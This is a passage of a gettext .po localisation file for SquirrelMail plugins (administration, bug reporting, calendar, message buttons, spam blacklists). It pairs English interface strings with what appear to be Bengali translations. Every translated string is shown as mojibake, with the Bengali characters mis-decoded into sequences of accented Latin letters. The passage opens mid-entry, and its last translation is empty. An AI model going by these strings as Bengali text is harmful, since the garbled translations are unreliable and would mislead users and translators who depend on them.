msgstr "āĻĒāĻ›āĻ¨ā§āĻĻāϗ⧁āϞ⧋āϰ āύāĻŋ⧟āĻŽāĻžāĻŦāϞ⧀āϤ⧇ āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀āϰ āύāĻžāĻŽ āĻšāĻŋāϏāĻžāĻŦ⧇ āϝāĻž āĻĨāĻžāĻ•āĻŦ⧇"

msgid "Preferences key field"
msgstr "āĻĒāĻ›āĻ¨ā§āĻĻāϗ⧁āϞ⧋ āĻ•āϰ⧇ āĻĻ⧇āĻ“ā§ŸāĻž āύāĻŋ⧟āĻŽāĻžāĻŦāϞ⧀āϤ⧇ āύāĻŋ⧟āĻŽā§‡āϰ āύāĻžāĻŽ"

msgid "Preferences value field"
msgstr "āĻĒāĻ›āĻ¨ā§āĻĻ⧇āϰ āύāĻŋ⧟āĻŽāĻžāĻŦāϞ⧀āϤ⧇ āύāĻŋ⧟āĻŽā§‡āϰ āĻŽāĻžāύ"

msgid "Global address book DSN"
msgstr "āϏāĻ°ā§āĻŦāĻ¤ā§āϰāϞāĻ­ā§āϝ āĻ āĻŋāĻ•āĻžāύāĻžāϰ āĻ–āĻžāϤāĻž DNS"

msgid "Global address book table"
msgstr "āϏāĻ°ā§āĻŦāĻ¤ā§āϰāϞāĻ­ā§āϝ āĻ āĻŋāĻ•āĻžāύāĻžāĻŦāχ āĻŸā§‡āĻŦāĻŋāϞ"

msgid "Allow writing into global address book"
msgstr "āϏāĻ°ā§āĻŦāĻ¤ā§āϰāϞāĻ­ā§āϝ āĻ āĻŋāĻ•āĻžāύāĻžāϰ āĻ–āĻžāϤāĻžā§Ÿ āĻ•āĻŋāϛ⧁ āϞ⧇āĻ–āĻžāϰ āĻ…āύ⧁āĻŽā§‹āĻĻāύ āĻĻāĻŋāύ"

msgid "Allow listing of global address book"
msgstr "āϏāĻ°ā§āĻŦāĻ¤ā§āϰāϞāĻ­ā§āϝ āĻ āĻŋāĻ•āĻžāύāĻž āĻ–āĻžāϤāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻžāĻ•āϰāϪ⧇ āĻ…āύ⧁āĻŽā§‹āĻĻāύ āĻĻāĻŋāύ"

msgid "Language settings"
msgstr "āĻ­āĻžāώāĻž āĻŦāĻŋāĻ¨ā§āϝāĻžāϏāύāϏāĻŽā§‚āĻš"

msgid "Default Language"
msgstr "āĻĒā§‚āĻ°ā§āĻŦāύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āĻ­āĻžāώāĻž"

msgid "Default Charset"
msgstr "āĻĒā§‚āĻ°ā§āĻŦāύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āĻ…āĻ•ā§āώāϰ⧇āϰ āϏ⧇āϟ"

msgid "Enable lossy encoding"
msgstr "āϞ⧋āĻ•āϏāĻžāύāĻ•ā§ƒāϤ āĻāύāϕ⧋āĻĄāĻŋāĻ‚ āϏāĻ•ā§āώāĻŽ āĻ•āϰāĻž"

msgid "Address Books"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻž āĻŦāχāϗ⧁āϞ⧋"

msgid "Default Javascript Addressbook"
msgstr "āĻĒā§‚āĻ°ā§āĻŦāύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āϜāĻžāĻ­āĻžāϞāĻŋāĻĒāĻŋāϤ āĻ āĻŋāĻ•āĻžāύāĻžāĻŦāχ"

msgid "Global address book file"
msgstr "āϏāĻ°ā§āĻŦāĻ¤ā§āϰāϞāĻ­ā§āϝ āĻ āĻŋāĻ•āĻžāύāĻžāĻŦāχ āĻĢāĻžāχāϞ"

msgid "Allow writing into global address book file"
msgstr "āϏāĻ°ā§āĻŦāĻ¤ā§āϰāϞāĻ­ā§āϝ āĻ āĻŋāĻ•āĻžāύāĻž āĻŦāχ āĻĢāĻžāχāϞ⧇ āĻ•āĻŋāϛ⧁ āϞ⧇āĻ–āĻžāϰ āĻ…āύ⧁āĻŽā§‹āĻĻāύ āĻĻāĻŋāύ"

msgid "Themes"
msgstr "āĻĨā§€āĻŽāϗ⧁āϞ⧋"

msgid "Style Sheet URL (css)"
msgstr "āĻļ⧈āϞ⧀ āĻĒ⧃āĻˇā§āĻ āĻž URL (css)"

msgid "Default theme"
msgstr "āĻĒā§‚āĻ°ā§āĻŦāύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āĻĨā§€āĻŽ"

msgid "Use index number of theme"
msgstr "āĻĨā§€āĻŽā§‡āϰ āϜāĻ¨ā§āϝ āϏ⧂āĻšā§€ āĻ•ā§āϰāĻŽ āϏāĻ‚āĻ–ā§āϝāĻž āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧁āύ"

msgid "Configuration Administrator"
msgstr "āĻĒā§āϰāĻļāĻžāϏāĻ• āĻŦāĻšāĻŋ:āĻŦāĻŋāĻ¨ā§āϝāĻžāϏ āĻ•āϰ⧁āύ"

msgid ""
"Note: it is recommended that you configure your system using conf.pl, and "
"not this plugin. conf.pl contains additional information regarding the "
"purpose of variables and appropriate values, as well as additional "
"verification steps."
msgstr ""
"āύ⧋āϟ: āĻāχ āĻĒā§āϞāĻžāĻ—āχāύ⧇ āύ⧟, āĻāĻŦāĻ‚ āφāĻĒāύāĻžāϕ⧇ āφāĻĒāύāĻžāϰ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ conf.pl āĻĻā§āĻŦāĻžāϰāĻž āĻŦāĻŋāĻ¨ā§āϝāĻžāϏ āĻ•āϰāϤ⧇ āĻŦāϞāĻž "
"āĻšāĻšā§āϛ⧇āĨ¤ conf.pl āϚāϞāĻ• āĻāĻŦāĻ‚ āϏāĻ āĻŋāĻ• āĻŽāĻžāύ⧇āϰ āωāĻĒāϰ āĻ­āĻŋāĻ¤ā§āϤāĻŋ āĻ•āϰ⧇ āĻ…āϤāĻŋāϰāĻŋāĻ•ā§āϤ āĻ•āĻŋāϛ⧁ āϤāĻĨā§āϝ āĻĻāĻžāύ āĻ•āϰ⧇, "
"āĻāĻ•āχāϏāĻžāĻĨ⧇ āĻ•āĻŋāϛ⧁ āĻĒāϰ⧀āĻ•ā§āώāĻŖ āϧāĻžāĻĒāĻ“ āϏāĻŽā§āĻĒāĻ¨ā§āύ āĻ•āϰ⧇āĨ¤"

msgid ""
"Run or consult conf.pl should you run into difficulty with your "
"configuration."
msgstr ""
"āφāĻĒāύāĻžāϰ āĻŦāĻŋāĻ¨ā§āϝāĻžāϏāύ⧇ āĻĒā§āϰāϤāĻŋāϕ⧂āϞāϤāĻžā§Ÿ āϚāĻžāϞāĻžāϤ⧇ āĻšāϕ⧇ conf.pl āφāϞ⧋āϚāύāĻž āĻ•āϰ⧁āύ āĻāĻŦāĻ‚ āϚāĻžāϞāĻŋā§Ÿā§‡ āĻĻ⧇āϖ⧁āύāĨ¤"

msgid "Theme Name"
msgstr "āĻĨā§€āĻŽā§‡āϰ āύāĻžāĻŽ"

msgid "Theme Path"
msgstr "āĻĨā§€āĻŽā§‡āϰ āĻĒāĻĨ"

msgid "Plugins"
msgstr "āĻĒā§āϞāĻžāĻ— āχāύ āϗ⧁āϞ⧋"

#, php-format
msgid "Plugin directory could not be found: %s"
msgstr "āĻĒā§āϞāĻžāĻ—āχāύ āύāĻŋāĻ°ā§āĻĻ⧇āĻļāĻŋāĻ•āĻž āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžā§ŸāύāĻŋ: %s"

msgid "Change Settings"
msgstr "āύāĻŋ⧟āĻŽāĻžāĻŦāϞ⧀ āĻŦāĻĻāϞāĻžāύ⧋"

msgid "Test Configuration"
msgstr "āĻĒāϰ⧀āĻ•ā§āώāĻž āĻŦāĻŋāĻ¨ā§āϝāĻžāϏāύ"

msgid "Config file can't be opened. Please check config.php."
msgstr ""
"āύāĻŋ⧟āĻŽāĻžāĻŦāϞ⧀āϰ āĻĢāĻžāχāϞāϟāĻž āĻ–ā§‹āϞāĻž āϝāĻžāĻšā§āϛ⧇ āύāĻžāĨ¤ config.php āĻĢāĻžāχāϞāϟāĻž āĻ āĻŋāĻ• āφāϛ⧇ āĻ•āĻŋāύāĻž āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰ⧁āύāĨ¤"

msgid "Administration"
msgstr "āĻĒāϰāĻŋāϚāĻžāϞāύāĻž"

msgid ""
"This module allows administrators to manage SquirrelMail main configuration "
"remotely."
msgstr ""
"āĻāχ āĻĒā§āϰāĻ•ā§āϰāĻŋ⧟āĻ•āĻžāĻ‚āĻļ āĻĨ⧇āϕ⧇ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāĻĒāϕ⧇āϰāĻž āĻŽā§‚āϞ āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ⧇ āύāĻž āĻŦāϏ⧇āĻ“ āĻ…āĻ¨ā§āϝ āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ āĻĨ⧇āϕ⧇ "
"SquirrelMail āĻĄāĻžāĻ•āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϰ āĻŽā§‚āϞ āύāĻŋ⧟āĻŽāĻžāĻŦāϞ⧀ āύāĻŋ⧟āĻ¨ā§āĻ¤ā§āϰāĻŖ āĻ•āϰāϤ⧇ āĻĒāĻžāϰāĻŦ⧇āύāĨ¤"

msgid "Plugin is not enabled"
msgstr "āĻĒā§āϞāĻžāĻ—āĻŋāύāϟāĻŋ āϏāĻ•ā§āϰāĻŋ⧟ āύ⧟"

msgid "Submit a Bug Report"
msgstr "āĻāĻ•āϟāĻŋ āĻŦāĻžāĻ— āĻĒā§āϰāϤāĻŋāĻŦ⧇āĻĻāύ āĻĒāĻžāĻ āĻžāύ"

msgid ""
"Before you send your bug report, please make sure to check this checklist "
"for any common problems."
msgstr ""
"āĻŦāĻžāĻ— āĻĒā§āϰāϤāĻŋāĻŦ⧇āĻĻāύ āĻĒāĻžāĻ āĻžāύ⧋āϰ āφāϗ⧇, āĻ…āύ⧁āĻ—ā§āϰāĻš āĻ•āϰ⧇ āϏāϚāϰāĻžāϚāϰ āϝ⧇ āϏāĻŦ āϏāĻŽāĻ¸ā§āϝāĻž āĻĻ⧇āĻ–āĻž āĻĻā§‡ā§Ÿ āϤāĻžāϰ āϜāĻ¨ā§āϝ "
"āĻĒāϰ⧀āĻ•ā§āώāύ āϤāĻžāϞāĻŋāĻ•āĻž āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰ⧁āύāĨ¤"

#, php-format
msgid ""
"Make sure that you are running the most recent copy of %s. You are currently "
"using version %s."
msgstr ""
"āĻāϟāĻŋ āύāĻŋāĻļā§āϚāĻŋāϤ āĻ•āϰ⧁āύ āϝ⧇ āφāĻĒāύāĻŋ %1$s āĻāϰ āϏāĻ°ā§āĻŦāĻļ⧇āώ āϏāĻ‚āĻ•āϞāύāϟāĻŋ āϚāĻžāϞāĻžāĻšā§āϛ⧇āύāĨ¤ āφāĻĒāύāĻŋ āĻŦāĻ°ā§āϤāĻŽāĻžāύ⧇ %2$s "
"āϏāĻ‚āĻ•āϞāύāϟāĻŋ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāϛ⧇āύāĨ¤"

#, php-format
msgid ""
"Check to see if your bug is already listed in the %sBug List%s on "
"SourceForge. If it is, we already know about it and are trying to fix it."
msgstr ""
"āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰ⧁āύ āϝ⧇ āφāĻĒāύāĻžāϰ āĻŦāĻžāĻ—āϟāĻŋ āϏ⧋āĻ°ā§āϏāĻĢāĻ°ā§āĻœā§‡ āφāϗ⧇ āĻĨ⧇āϕ⧇āχ %1$sBug āϤāĻžāϞāĻŋāĻ•āĻž%2$s āϤ⧇ āϤāĻžāϞāĻŋāĻ•āĻžāĻŦāĻĻā§āϧ "
"āφāϛ⧇āĨ¤ āϝāĻĻāĻŋ āϤāĻžāχ āĻšā§Ÿ, āϤāĻŦ⧇ āφāĻŽāϰāĻž āχāϤ⧋āĻŽāĻ§ā§āϝ⧇ āĻāϟāĻŋāϰ āϏāĻŽā§āĻĒāĻ°ā§āϕ⧇ āϜāĻžāύāĻŋ āĻāĻŦāĻ‚ āĻāϕ⧇ āĻ āĻŋāĻ• āĻ•āϰāĻžāϰ āĻšā§‡āĻˇā§āϟāĻž "
"āϚāĻžāϞāĻžāĻšā§āĻ›āĻŋāĨ¤"

msgid ""
"Try to make sure that you can repeat it. If the bug happens sporatically, "
"try to document what you did when it happened. If it always occurs when you "
"view a specific message, keep that message around so maybe we can see it."
msgstr ""
"āύāĻŋāĻļā§āϚāĻŋāϤ āĻšā§Ÿā§‡ āύāĻŋāύ āϝ⧇ āφāĻĒāύāĻŋ āĻāϟāĻŋ āĻĒ⧁āύāϰāĻžāĻŦ⧃āĻ¤ā§āϤāĻŋ āĻ•āϰāϤ⧇ āĻĒāĻžāϰāĻŦ⧇āύāĨ¤ āϝāĻĻāĻŋ āĻāχ āϏāĻŽāĻ¸ā§āϝāĻžāϟāĻž āϏāĻŦāϏāĻŽā§Ÿ āϘāĻŸā§‡, "
"āϝāĻ–āύ āĻāϟāĻŋ āϘāĻŸā§‡ āϤāĻ–āύ āĻ•āĻŋ āĻ•āϰ⧇āύ āϏ⧇āϟāĻŋ āύāĻĨāĻŋ āĻ•āϰ⧇ āϰāĻžāĻ–āĻžāϰ āĻšā§‡āĻˇā§āϟāĻž āĻ•āϰ⧁āύāĨ¤ āϝāĻĻāĻŋ āφāĻĒāύāĻŋ āĻāĻ•āϟāĻŋ āϏ⧁āύāĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āϟ "
"āĻŦāĻžāĻ°ā§āϤāĻž āĻĻ⧇āĻ–āϞ⧇ āĻāϟāĻŋ āϏāĻŦāϏāĻŽā§Ÿ āϘāĻŸā§‡,āϤāĻŦ⧇ āĻŦāĻžāĻ°ā§āϤāĻžāϟāĻŋ āφāĻļ⧇āĻĒāĻžāĻļ⧇ āϰāĻžāϖ⧁āύ āϝ⧇āύ⧋ āφāĻŽāϰāĻž āĻāϟāĻŋ āĻĻ⧇āĻ–āϤ⧇ āĻĒāĻžāϰāĻŋāĨ¤ "

#, php-format
msgid ""
"If there were warnings displayed above, try to resolve them yourself. Read "
"the guides in the %s directory where SquirrelMail was installed."
msgstr ""
"āϝāĻĻāĻŋ āωāĻĒāϰ⧇ āϕ⧋āύ āϏāϤāĻ°ā§āĻ•āĻŦāĻžāύ⧀ āĻĒā§āϰāĻĻāĻ°ā§āĻļāĻŋāϤ āĻšā§Ÿ, āϤāĻŦ⧇ āφāĻĒāύāĻŋ āϏāĻŽāĻžāϧāĻžāύ⧇āϰ āĻšā§‡āĻˇā§āϟāĻž āĻ•āϰ⧁āύāĨ¤ %s āύāĻŋāĻ°ā§āĻĻ⧇āĻļāĻŋāĻ•āĻžāϰ "
"āϏāĻžāĻšāĻžāĻ¯ā§āϝ āύāĻŋāύ āϝ⧇āĻ–āĻžāύ⧇ SquirrelMail āϏāĻ‚āĻ¸ā§āĻĨāĻžāĻĒāύ āĻ•āϰāĻž āĻšā§Ÿā§‡āϛ⧇āĨ¤"

msgid ""
"Pressing the button below will start a mail message to the developers of "
"SquirrelMail that will contain a lot of information about your system, your "
"browser, how SquirrelMail is set up, and your IMAP server. It will also "
"prompt you for information. Just fill out the sections at the top. If you "
"like, you can scroll down in the message to see what else is being sent."
msgstr ""
"āύ⧀āĻšā§‡āϰ āϏ⧁āχāϚāϟāĻŋāϤ⧇ āϚāĻžāĻĒ āĻĻāĻŋāϞ⧇ SquirrelMail āĻĄāĻžāĻ•āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϰ āĻĒā§āϰāĻ•ā§āϰāĻŋ⧟āĻ• āĻĒā§āϰāĻ•ā§ŒāĻļāϞ⧀āĻĻ⧇āϰ āωāĻĻā§āĻĻ⧇āĻļā§āϝ āĻ•āϰ⧇ "
"āφāĻĒāύāĻžāϰ āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ, āϝ⧁āĻ•ā§āϤāĻĒāĻ¤ā§āϰāĻĒā§āϰāĻĻāĻ°ā§āĻļāĻ•, SquirrelMail āύāĻŋ⧟āĻŽāĻžāĻŦāϞ⧀, āĻāĻŦāĻ‚ IMAP āĻĄāĻžāĻ• āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž "
"āϏāĻŽā§āĻĒāĻ°ā§āϕ⧇ āĻ…āύ⧇āĻ• āϤāĻĨā§āϝ āĻĻāĻŋā§Ÿā§‡ āĻāĻ•āϟāĻž āĻŦāĻžāĻ°ā§āϤāĻž āĻļ⧁āϰ⧁ āĻ•āϰāĻž āĻšāĻŦ⧇āĨ¤ āĻāϟāĻŋ āφāĻĒāύāĻžāϕ⧇ āϤāĻĨā§āϝ⧇āϰ āϜāĻ¨ā§āϝ āĻ¤ā§āĻŦāĻžā§ŸāĻŋāϤ "
"āĻ•āϰāĻŦ⧇āĨ¤ āφāĻĒāύāĻžāϕ⧇ āĻļ⧁āϧ⧁ āωāĻĒāϰ⧇āϰ āĻ…āĻ‚āĻļāϟāĻŋ āĻĒā§‚āϰāĻŖ āĻ•āϰ⧇ āĻĻāĻŋāϤ⧇ āĻšāĻŦ⧇āĨ¤ āĻ•āĻŋ āĻ•āĻŋ āϤāĻĨā§āϝ āĻĒāĻžāĻ āĻžāύ⧋ āĻšāĻšā§āϛ⧇ āϝāĻĻāĻŋ "
"āĻĻ⧇āĻ–āϤ⧇ āϚāĻžāύ, āϤāĻžāĻšāϞ⧇ āφāĻĒāύāĻŋ āĻŦāĻžāĻ°ā§āϤāĻžāϟāĻŋ āύ⧀āĻšā§‡ āĻ¸ā§āĻ•ā§āϰ⧁āϞ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇āύāĨ¤"

msgid ""
"Please make sure to fill out as much information as you possibly can to give "
"everyone a good chance of finding and removing the bug. Submitting your bug "
"like this will not have it automatically added to the bug list on "
"SourceForge, but someone who gets your message may add it for you."
msgstr ""
"āϭ⧁āϞāϟāĻž āϖ⧁āρāĻœā§‡ āĻŦ⧇āϰ āĻ•āϰāĻž āĻāĻŦāĻ‚ āĻ āĻŋāĻ• āĻ•āϰāĻž āϝāĻžāϤ⧇ āϏāĻšāϜ āĻšā§Ÿ, āϏ⧇āϜāĻ¨ā§āϝ āϏāĻŦāĻžāχāϕ⧇ āϝāĻĨāĻžāϏāĻŽā§āĻ­āĻŦ āĻŦāĻŋāĻ¸ā§āϤāĻžāϰāĻŋāϤ āϤāĻĨā§āϝ "
"āĻĻ⧇āĻŦ⧇āύāĨ¤ āϭ⧁āϞ⧇āϰ āĻŦāĻ°ā§āĻŖāύāĻž āĻĒāĻžāĻ āĻžāϞ⧇āχ āϤāĻž āĻ¸ā§āĻŦ⧟āĻ‚āĻ•ā§āϰāĻŋ⧟āĻ­āĻžāĻŦ⧇ āϏ⧋āĻ°ā§āϏāĻĢā§‹āĻ°ā§āĻœā§‡ āϭ⧁āϞ⧇āϰ āϤāĻžāϞāĻŋāĻ•āĻžā§Ÿ āϝ⧁āĻ•ā§āϤ āĻšā§Ÿā§‡ "
"āϝāĻžāĻŦ⧇ āύāĻž, āĻ•āĻŋāĻ¨ā§āϤ⧁ āϕ⧇āω āφāĻĒāύāĻžāϰ āĻŦāĻžāĻ°ā§āϤāĻžāϟāĻŋ āĻĒ⧇āϞ⧇ āφāĻĒāύāĻžāϰ āϜāĻ¨ā§āϝ āϏ⧇āϟāĻŋ āϝ⧋āĻ— āĻ•āϰ⧇ āĻĻāĻŋāϤ⧇ āĻĒāĻžāϰ⧇āĨ¤"

msgid "This bug involves:"
msgstr "āĻāχ āĻŦāĻžāĻ—āϟāĻŋ āϏāĻ‚āϝ⧁āĻ•ā§āϤ āĻ•āϰāϛ⧇:"

msgid "the general program"
msgstr "āĻĒ⧁āϰ⧋ āĻĒā§āϰāĻ•ā§āϰāĻŋ⧟āĻ• āϏāĻ‚āĻ•ā§āϰāĻžāĻ¨ā§āϤ"

msgid "a specific plugin"
msgstr "āĻāĻ•āϟāĻž āĻŦāĻŋāĻļ⧇āώ āĻĒā§āϰāĻŦāĻ°ā§āϧāύ āϏāĻ‚āĻ•ā§āϰāĻžāĻ¨ā§āϤ"

msgid "Start Bug Report Form"
msgstr "āϭ⧁āϞ⧇āϰ āĻŦāĻ°ā§āĻŖāύāĻž āĻāĻ–āĻžāύ āĻĨ⧇āϕ⧇ āĻļ⧁āϰ⧁ āĻ•āϰāĻž āĻšā§‹āĻ•"

msgid "Bug"
msgstr "āĻŦāĻžāĻ—"

msgid "Bug Reports"
msgstr "āĻŦāĻžāĻ— āĻĒā§āϰāϤāĻŋāĻŦ⧇āĻĻāύāϗ⧁āϞ⧋"

msgid "Show button in toolbar"
msgstr "āϟ⧁āϞāĻŦāĻžāϰ⧇ āĻŦā§‹āϤāĻžāĻŽāϏāĻŽā§‚āĻš āĻĻ⧇āĻ–āĻžāύ"

#, php-format
msgid "Could not write calendar file %s"
msgstr "āĻĻāĻŋāύāĻĒāĻžā§āϜāĻŋāĻ•āĻžāϰ āĻĢāĻžāχāϞ %s āϞ⧇āĻ–āĻž āϝāĻžāĻšā§āϛ⧇ āύāĻž"

msgid "TODAY"
msgstr "āφāϜ"

msgid "Go"
msgstr "āϝāĻžāύ"

msgid "l, F j Y"
msgstr "l, F j Y"

msgid "ADD"
msgstr "āϝ⧋āĻ— āĻ•āϰāĻž"

msgid "EDIT"
msgstr "āϏāĻŽā§āĻĒāĻžāĻĻāύāĻž āĻ•āϰ⧁āύ"

msgid "DEL"
msgstr "āĻŽā§āϛ⧇ āĻĢ⧇āϞ⧁āύ"

msgid "Start time:"
msgstr "āĻ•āĻ–āύ āĻļ⧁āϰ⧁ āĻšāĻŦ⧇:"

msgid "Length:"
msgstr "āĻĻ⧈āĻ°ā§āĻ˜ā§āϝ:"

msgid "Priority:"
msgstr "āϗ⧁āϰ⧁āĻ¤ā§āĻŦ:"

msgid "Title:"
msgstr "āĻļāĻŋāϰ⧋āύāĻžāĻŽ:"

msgid "Set Event"
msgstr "āĻ…āύ⧁āĻˇā§āĻ āĻžāύ āϝ⧋āĻ— āĻ•āϰ⧁āύ"

msgid "Event Has been added!"
msgstr "āĻ…āύ⧁āĻˇā§āĻ āĻžāύāϟāĻž āϝ⧋āĻ— āĻ•āϰāĻž āĻšāϞ!"

msgid "Date:"
msgstr "āϤāĻžāϰāĻŋāĻ–:"

msgid "m/d/Y"
msgstr "āĻŽāĻžāϏ/āĻĻāĻŋāύ/āĻŦāĻ›āϰ"

msgid "Time:"
msgstr "āϏāĻŽā§Ÿ:"

msgid "Day View"
msgstr "āĻĻāĻŋāύ āĻšāĻŋāϏāĻžāĻŦ⧇ āĻĻ⧇āĻ–āĻžāύ⧋"

msgid "Do you really want to delete this event?"
msgstr "āφāĻĒāύāĻŋ āĻ•āĻŋ āϏāĻ¤ā§āϝāĻŋ āϏāĻ¤ā§āϝāĻŋ āĻāχ āĻ…āύ⧁āĻˇā§āĻ āĻžāύāϟāĻŋ āĻŽā§āϛ⧇ āĻĢ⧇āϞāϤ⧇ āϚāĻžāύ?"

msgid "Event deleted!"
msgstr "āĻ…āύ⧁āĻˇā§āĻ āĻžāύ āĻŽā§āϛ⧇ āĻĢ⧇āϞāĻž āĻšāϞ⧋!"

msgid "Nothing to delete!"
msgstr "āĻŽā§‹āĻ›āĻžāϰ āĻŽāϤ āĻ•āĻŋāϛ⧁āχ āĻĒāĻžāĻ“ā§ŸāĻž āϗ⧇āϞ āύāĻž!"

msgid "Update Event"
msgstr "āĻ…āύ⧁āĻˇā§āĻ āĻžāύ āĻšāĻžāϞāύāĻžāĻ—āĻžāĻĻ āĻ•āϰāĻž"

msgid "Do you really want to change this event from:"
msgstr "āφāĻĒāύāĻŋ āĻ•āĻŋ āϏāĻ¤ā§āϝāĻŋ āϏāĻ¤ā§āϝāĻŋ āĻ…āύ⧁āĻˇā§āĻ āĻžāύāϟāĻžāϕ⧇ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻ•āϰāϤ⧇ āϚāĻžāύ:"

msgid "to:"
msgstr "āĻĒā§āϰāϤāĻŋ:"

msgid "Event updated!"
msgstr "āĻ…āύ⧁āĻˇā§āĻ āĻžāύ⧇āϰ āϤāĻĨā§āϝ āĻŦāĻĻāϞāĻžāύ⧋ āĻšāϞ!"

msgid "Month View"
msgstr "āĻŽāĻžāϏ āĻšāĻŋāϏāĻžāĻŦ⧇ āĻĻ⧇āĻ–āĻžāύ⧋"

msgid "0 min."
msgstr "ā§Ļ āĻŽāĻŋāύāĻŋāϟ"

msgid "15 min."
msgstr "ā§§ā§Ģ āĻŽāĻŋāύāĻŋāϟ"

msgid "30 min."
msgstr "ā§Šā§Ļ āĻŽāĻŋāύāĻŋāϟ"

msgid "45 min."
msgstr "ā§Ēā§Ģ āĻŽāĻŋāύāĻŋāϟ"

msgid "1 hr."
msgstr "ā§§ āϘāĻ¨ā§āϟāĻž"

msgid "1.5 hr."
msgstr "āĻĻ⧇āĻĄāĻŧ āϘāĻ¨ā§āϟāĻž"

msgid "2 hr."
msgstr "⧍ āϘāĻ¨ā§āϟāĻž"

msgid "2.5 hr."
msgstr "āφāĻĄāĻŧāĻžāχ āϘāĻ¨ā§āϟāĻž"

msgid "3 hr."
msgstr "ā§Š āϘāĻ¨ā§āϟāĻž"

msgid "3.5 hr."
msgstr "āϏāĻžāĻĄāĻŧ⧇ ā§Š āϘāĻ¨ā§āϟāĻž"

msgid "4 hr."
msgstr "ā§Ē āϘāĻ¨ā§āϟāĻž"

msgid "5 hr."
msgstr "ā§Ģ āϘāĻ¨ā§āϟāĻž"

msgid "6 hr."
msgstr "ā§Ŧ āϘāĻ¨ā§āϟāĻž"

msgid "Calendar"
msgstr "āĻĻāĻŋāύāĻĒāĻžā§āĻœā§€"

msgid "Delete &amp; Prev"
msgstr "āĻŽā§āϛ⧇ āĻĢ⧇āϞ⧁āύ &amp; āĻĒā§‚āĻ°ā§āĻŦāĻŦāĻ°ā§āϤ⧀"

msgid "Delete &amp; Next"
msgstr "āĻŽā§āϛ⧇ āĻĢ⧇āϞ⧁āύ &amp; āĻĒāϰāĻŦāĻ°ā§āϤ⧀"

msgid "Move to:"
msgstr "āĻāĻ–āĻžāύ⧇ āϏāϰāĻŋā§Ÿā§‡ āĻĢ⧇āϞ⧁āύ:"

msgid "Delete/Move/Next Buttons:"
msgstr "āĻŽā§āϛ⧇ āĻĢ⧇āϞāĻžāϰ, āϏāϰāĻŋā§Ÿā§‡ āϰāĻžāĻ–āĻžāϰ, āĻĒāϰ⧇āϰāϟāĻžāϤ⧇ āϝāĻžāĻ“ā§ŸāĻžāϰ āϏ⧁āχāϚāϗ⧁āϞ⧋:"

msgid "Display at top"
msgstr "āĻ“āĻĒāϰ⧇ āĻĻ⧇āĻ–āĻžāύ"

msgid "with move option"
msgstr "āϏāϰāĻžāύ⧋āϰ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āϏāĻš"

msgid "Display at bottom"
msgstr "āϤāϞāĻžā§Ÿ āĻĻ⧇āĻ–āĻžāύ⧋"

msgid ""
"COMMERCIAL - This list contains servers that are verified spam senders. It "
"is a pretty reliable list to scan spam from."
msgstr ""
"āĻŦā§āϝāĻŦāϏāĻžāϝāĻŧāĻŋāĻ• - āĻāχ āϤāĻžāϞāĻŋāĻ•āĻžā§Ÿ āϝāĻžāϰāĻž āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āĻĒāĻžāĻ āĻžā§Ÿ āĻŦāϞ⧇ āϏāĻžāϧāĻžāϰāĻŖ āϞ⧋āϕ⧇ āϜāĻžāύ⧇, āϤāĻžāĻĻ⧇āϰ āύāĻžāĻŽ "
"āĻĻ⧇āĻ“ā§ŸāĻž āφāϛ⧇āĨ¤  āĻāχ āϤāĻžāϞāĻŋāĻ•āĻžāϰ āϕ⧋āύ⧋ āϜāĻžā§ŸāĻ—āĻž āĻĨ⧇āϕ⧇ āφāϏāϞ⧇ āĻŽā§‹āϟāĻžāĻŽā§āϟāĻŋ āϧāϰ⧇ āύ⧇āĻ“ā§ŸāĻž āϝāĻžā§Ÿ āϝ⧇ āĻāϟāĻž "
"āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋāĨ¤"

msgid ""
"COMMERCIAL - Servers that are configured (or misconfigured) to allow spam to "
"be relayed through their system will be banned with this. Another good one "
"to use."
msgstr ""
"āĻŦā§āϝāĻŦāϏāĻžā§ŸāĻŋāĻ• - āϝ⧇ āϏāĻŦ āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āϭ⧁āϞ āĻ•āϰ⧇ āĻŦāĻž āχāĻšā§āĻ›āĻžāĻ•ā§ƒāϤāĻ­āĻžāĻŦ⧇ āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āϰāĻŋāϞ⧇ āĻ•āϰāϛ⧇, "
"āĻāϟāĻžāϰ āĻŽāĻžāĻ§ā§āϝāĻŽā§‡ āϤāĻžāĻĻ⧇āϰ āĻŦāĻ°ā§āϜāύ āĻ•āϰāĻž āϝāĻžā§ŸāĨ¤ āĻāϟāĻž āĻŦ⧇āĻļ āĻ­āĻžāϞ āĻ•āĻžāϜ āĻ•āϰ⧇āĨ¤"

msgid ""
"COMMERCIAL - Dial-up users are often filtered out since they should use "
"their ISP's mail servers to send mail. Spammers typically get a dial-up "
"account and send spam directly from there."
msgstr ""
